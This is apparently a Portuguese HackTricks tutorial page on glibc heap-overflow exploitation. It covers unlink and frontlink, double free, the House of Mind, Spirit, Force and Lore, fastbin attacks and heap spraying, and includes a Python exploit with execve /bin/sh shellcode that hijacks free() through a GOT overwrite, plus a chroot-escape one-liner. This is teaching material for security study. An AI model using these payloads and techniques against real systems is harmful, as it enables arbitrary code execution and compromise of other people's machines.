Falso EBP

Para funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), o EBP também deve ser modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço de &”/bin/sh”.

Jaulas com chroot()

debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico

Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..

Instrumentação de código

Valgrind —> Procura por erros
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Exploits básicos

Chunk alocado

prev_size |
size | —Cabeçalho
*mem | Dados

Chunk livre

prev_size |
size |
*fd | Ptr chunk seguinte
*bk | Ptr chunk anterior —Cabeçalho
*mem | Dados

Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos).

Em “size” há bits para indicar: se o chunk anterior está em uso, se o chunk foi alocado via mmap() e se o chunk pertence à arena primária.

Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são fundidos usando a macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado.

unlink(){
BK = P->bk; —> O BK do novo chunk é o que o chunk livre anterior tinha
FD = P->fd; —> O FD do novo chunk é o que o chunk livre anterior tinha
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk
}

Portanto, se conseguirmos modificar P->bk com o endereço de um shellcode e P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

E assim, ao sair do programa, o shellcode é executado.

Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante do shellcode.

Portanto, o exploit é criado:

No buffer1, a shellcode é inserida começando com um jmp para cair nos nops ou no restante da shellcode.

Após a shellcode, é inserido preenchimento até chegar ao campo prev_size e size do próximo chunk. Nestes locais, são inseridos 0xfffffff0 (para sobrescrever prev_size e indicar que está livre) e “-4” (0xfffffffc) em size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então, ele chamará unlink().

Ao chamar unlink(), os primeiros dados do 2º chunk são usados como P->fd, então o endereço a ser sobrescrito - 12 (pois em FD->bk, 12 é adicionado ao endereço armazenado em FD) é inserido lá. E nesse endereço, é inserido o segundo endereço encontrado no 2º chunk, que deve ser o endereço da shellcode (falso P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #É importante que o bit que indica que o chunk anterior está livre esteja como 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que pense que o "size" do 3º chunk está 4bytes atrás (aponta para prev_size) onde ele verifica se o 2º chunk está livre

addr_sc = pack("<I", 0x0804a008 + 8) #No payload, vamos adicionar 8 bytes de preenchimento no início

got_free = pack("<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será sobrescrito para executar o shellcode na 2ª chamada a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Como mencionado, o payload começa com 8 bytes de preenchimento

payload += prev_size + fake_size + got_free + addr_sc #O 2º chunk é modificado, got_free aponta para onde vamos armazenar o endereço addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando em sentido inverso (wargame)

Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa da reserva.

Neste caso:

No chunk c, colocamos o shellcode

Usamos o chunk a para sobrescrever o b de forma que o bit PREV_INUSE seja desativado, fazendo o programa pensar que o chunk a está livre.

Além disso, sobrescrevemos o size no cabeçalho do b para que seja -4.

Assim, o programa pensará que o "a" está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV_SIZE é -4, ele pensará que o chunk "a" realmente começa em b+4. Ou seja, fará um unlink() em um chunk que começa em b+4, então em b+12 estará o ponteiro "fd" e em b+16 estará o ponteiro "bk".

Dessa forma, se colocarmos o endereço do shellcode em bk e o endereço da função "puts()" -12 em fd, teremos nosso payload.

Técnica de Frontlink

Frontlink é chamado quando algo é liberado e nenhum dos chunks adjacentes está livre, unlink() não é chamado, mas frontlink() é chamado diretamente.

Vulnerabilidade útil quando o malloc atacado nunca é liberado (free()).

Requer:

Um buffer que pode ser sobrecarregado com a função de entrada de dados

Um buffer adjacente a este que deve ser liberado e terá o campo fd de seu cabeçalho modificado devido à sobrecarga do buffer anterior

Um buffer a ser liberado com um tamanho maior que 512, mas menor que o buffer anterior

Um buffer declarado antes do passo 3 que permite sobrescrever o prev_size deste

Assim, conseguimos sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas apenas um é liberado, podemos fazer um exploit.

Vulnerabilidade double free()

Se free() for chamado duas vezes com o mesmo ponteiro, dois bins apontarão para o mesmo endereço.

Se quisermos reutilizar um, não haverá problemas. Se quisermos usar outro, ele receberá o mesmo espaço, então teremos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreverá.

After free()

Um ponteiro previamente liberado é usado novamente sem controle.

8 Heap Overflows: Exploits avançados

As técnicas Unlink() e FrontLink() foram removidas ao modificar a função unlink().

The house of mind

Apenas uma chamada a free() é necessária para executar código arbitrário. É interessante encontrar um segundo chunk que possa ser sobrecarregado pelo anterior e liberado.

Uma chamada a free() chama public_fREe(mem), que faz:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde o chunk começa (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Em [1], verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (por exemplo, de 0x0804a000 para 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)

Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em 0x081002a0, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, 0x0804a000. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado um and em 0x081002a0 como vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr)

Assim, é chamado _int_free(ar_ptr, mem), ou seja, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado.

Como unsorted_chunks é definido, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Portanto, se escrevermos o valor de __DTOR_END__-12 em av->bins[2], na última instrução, será escrito em __DTOR_END__ o endereço do segundo chunk.

Ou seja, no primeiro chunk, no início, devemos colocar várias vezes o endereço de __DTOR_END__-12, pois é de lá que av->bins[2] o pegará.

No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins[2] de lá.

No segundo chunk e graças ao primeiro, sobrescrevemos prev_size com um jump 0x0c e size com algo para ativar -> NON_MAIN_ARENA

Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode

Dessa forma, será chamado _int_free(CHUNK1, CHUNK2) e seguirá as instruções para escrever em __DTOR_END__ o endereço do prev_size do CHUNK2, que saltará para o shellcode.

Para aplicar essa técnica, alguns requisitos adicionais precisam ser atendidos, o que complica um pouco mais o payload. Esta técnica já não é aplicável, pois quase o mesmo patch foi aplicado como para unlink. Eles são comparados se o novo local para onde aponta também está apontando para ele.

Fastbin

É uma variante de The house of mind

interessa-nos executar o seguinte código após a primeira verificação da função _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max_fast deve estar na direção que vamos sobrescrever.

Dado que com The House of Mind vimos que controlávamos a posição do av.

Então, se no campo size colocarmos um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() retornará fastbins[-1], que apontará para av->max_fast

Neste caso, av->max_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).

Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como dissemos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).

Além disso, esse mesmo chunk falso deve ser menor que av->system_mem. av->system_mem está 1848 bytes adiante.

Devido aos nulos de _DTOR_END_ e às poucas direções na GOT, nenhum desses endereços serve para ser sobrescrito, então vejamos como aplicar fastbin para atacar a pilha.

Outra forma de ataque é redirecionar o av para a pilha.

Se modificarmos o size para ser 16 em vez de 8, então: fastbin_index() retornará fastbins[0] e podemos usar isso para sobrescrever a pilha.

Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, temos que encontrar isso: 4bytes nulos + EBP + RET

Os 4 bytes nulos são necessários para que o av esteja nesse endereço e o primeiro elemento de um av é o mutex que deve ser 0.

O av->max_fast será o EBP e será um valor que nos permitirá ignorar as restrições.

No av->fastbins[0] será sobrescrito com o endereço de p e será o RET, assim a shellcode será executada.

Além disso, em av->system_mem (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.

Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como dissemos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).

The House of Spirit

Neste caso, procuramos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).

Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.

Por exemplo, se o programa perguntar ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.

Se isso for cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.

Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço apontado pelo EBP da pilha há um chunk do tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.

The House of Force

É necessário:

  • Um overflow para um chunk que permita sobrescrever o wilderness
  • Uma chamada para malloc() com o tamanho definido pelo usuário
  • Uma chamada para malloc() cujos dados possam ser definidos pelo usuário

O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em _int_malloc() sem a necessidade de expandir o heap.

O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado &EIP - 8.

Precisamos sobrescrever av->top para apontar para a área de memória sob o controle do atacante:

vítima = av->top;

restante = chunck_at_offset(vítima, nb);

av->top = restante;

A vítima obtém o valor da direção do chunk wilderness atual (o av->top atual) e o restante é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se &EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:

0xbffff224 - 0x080c2788 = 3086207644.

Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.

É importante saber que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para &EIP-8, o tamanho ficará exatamente no campo EBP da pilha.

The House of Lore

Corrupção SmallBin

Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser útil, ele será retornado, mas se for alocado um chunk maior, o chunk liberado em unsorted bins será colocado em seu bin apropriado.

Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max_fast (normalmente 72) e menor que MIN_LARGE_SIZE (512).

Se houver um chunk no bin do tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:

bck = vítima->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.

bin->bk = bck; O penúltimo chunk se torna o último, se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço

bck->fd = bin; A lista é fechada fazendo com que ela aponte para bin

É necessário: Reserve dois malloc, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).

O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.

O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tenha um pedaço liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito nele.

Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja inserido em seu bin.

Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para que aponte para o endereço que desejamos sobrescrever.

Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.

Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.

Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado da vítima. Para que pareça um pedaço verdadeiro.

Corrupção LargeBin

São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.

O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.

Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).

Além disso, foi introduzido um patch para torná-lo ainda mais complicado.

Heap Spraying

Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. Assim, tenta-se saltar para o endereço 0x0c0c0c0c e, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.

Heap Feng Shui

Consiste em cimentar a memória por meio de reservas e liberações, de modo que pedaços reservados fiquem entre pedaços livres. O buffer a ser transbordado será colocado em um desses pedaços.

Cursos Interessantes

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: